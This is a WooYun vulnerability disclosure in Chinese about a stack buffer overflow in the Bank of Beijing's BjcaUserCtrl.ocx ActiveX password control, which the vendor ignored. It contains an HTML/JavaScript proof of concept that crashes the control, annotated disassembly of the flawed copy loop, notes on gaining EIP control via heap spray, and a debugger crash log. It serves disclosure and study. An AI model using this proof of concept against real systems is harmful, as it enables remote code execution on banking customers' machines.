乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-10-18: 细节已通知厂商并且等待厂商处理中 2014-10-23: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2014-12-17: 细节向核心白帽子及相关领域专家公开 2014-12-27: 细节向普通白帽子公开 2015-01-06: 细节向实习白帽子公开 2015-04-02: 细节向公众公开
某银行软件应用接口函数对参数校验不正确,导致传入超长的参数,造成堆栈溢出。
北京银行密码控件bjcaotp.exe的BjcaUserCtrl.ocx控件的BjcaEncode函数对参数长度没有校验,导致拷贝超长的buf,造成了堆栈溢出,返回地址被覆盖。控件下载地址:https://ebank.bankofbeijing.com.cn/bccbpb/downloadBJCA/bjcaotp.exe首页-网银登录-财富用户登录-安装运行环境 Poc:
<object id='obj' classid='CLSID:{F460ADF7-2BCD-4E82-B092-E570F8644638}'></object><script>argv1="A"while(argv1.length<185) argv1+=argv1FUCK = obj.BjcaEncode(argv1)</script>
漏洞代码在BjcaUserCtrl.ocx文件中03872620处 基址0x3861000encode_data_control 参数为外界传入的参数
.text:03872620 ; int __cdecl bug(int encode_data_control, int a2, int a3, int a4).text:03872620 bug proc near ; CODE XREF: sub_3866830+35 p.text:03872620 ; sub_3871550+8A p.text:03872620.text:03872620 encodeed_data_length= dword ptr -194h.text:03872620 encodeed_data = byte ptr -190h.text:03872620 var_C9 = byte ptr -0C9h.text:03872620 buffer2 = byte ptr -0C8h.text:03872620 encode_data_control= dword ptr 4.text:03872620 a2 = dword ptr 8.text:03872620 a3 = dword ptr 0Ch.text:03872620 a4 = dword ptr 10h.text:03872620.text:03872620 sub esp, 194h ; 堆栈总长度为0x194.text:03872626 mov ecx, 32h.text:0387262B xor eax, eax.text:0387262D mov edx, [esp+194h+a2].text:03872634 push edi.text:03872635 lea edi, [esp+198h+encodeed_data].text:03872639 rep stosd.text:0387263B mov ecx, 32h.text:03872640 lea edi, [esp+198h+buffer2].text:03872647 rep stosd.text:03872649 mov edi, ds:CERTC_Base64_Encode.text:0387264F lea eax, [esp+198h+encodeed_data_length].text:03872653 lea ecx, [esp+198h+encodeed_data].text:03872657 push eax.text:03872658 mov eax, [esp+19Ch+encode_data_control].text:0387265F push ecx ; 编码之后的buf.text:03872660 push edx ; 长度.text:03872661 push eax ; 外界传入的参数 为AAAAAA.text:03872662 call edi ; CERTC_Base64_Encode ; 进行编码.text:03872664 test eax, eax.text:03872666 jnz short loc_38726A0.text:03872668 push esi.text:03872669 mov esi, [esp+19Ch+encodeed_data_length] ; 为0x158.text:0387266D test esi, esi.text:0387266F jle short loc_3872684.text:03872671 lea ecx, [esp+esi+19Ch+var_C9].text:03872678.text:03872678 loc_3872678: ; CODE XREF: bug+62 j.text:03872678 mov dl, [esp+eax+19Ch+encodeed_data].text:0387267C inc eax ; 拷贝编码之后的数据到堆栈中.text:0387267D mov [ecx], dl ; 拷贝到buffer2中 buffer2总大小为0xc8 拷贝覆盖函数返回地址.text:0387267F dec ecx.text:03872680 cmp eax, esi.text:03872682 jl short loc_3872678.text:03872684.text:03872684 loc_3872684: ; CODE XREF: bug+4F j.text:03872684 mov eax, [esp+19Ch+a4].text:0387268B mov ecx, [esp+19Ch+a3].text:03872692 push eax.text:03872693 push ecx ; 这两个参数同样被覆盖 因为数据可以控制 通过构造一个base64编码之后依然可以访问的地址即可 在浏览器中利用 可以通过HeapSpary 设置我们想要的地址,正常秩序Base64Encode之后,函数返回时返回堆栈已经被修改 从而控制EIP。.text:03872694 lea edx, [esp+1A4h+buffer2].text:0387269B push esi.text:0387269C push edx.text:0387269D call edi ; CERTC_Base64_Encode.text:0387269F pop esi.text:038726A0.text:038726A0 loc_38726A0: ; CODE XREF: bug+46 j.text:038726A0 pop edi.text:038726A1 add esp, 194h.text:038726A7 retn ==============.text:038726A7 bug endp
安装控件之后,构造webserver,将poc通过浏览器打开
Crashinfo
0:008> g(cc0.ea4): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00000001 ebx=00000046 ecx=51554642 edx=00000055 esi=00000001 edi=020ded67eip=039c4119 esp=020dec68 ebp=00000055 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202CERTC_ALL!CERTC_Base64_Encode+0x59:039c4119 885408ff mov byte ptr [eax+ecx-1],dl ds:0023:51554642=??
返回地址被覆盖
拷贝之后
函数返回地址0x20dee44 处被覆盖成非法值。
校验长度
危害等级:无影响厂商忽略
忽略时间:2015-04-02 10:59
漏洞Rank:17 (WooYun评价)
暂无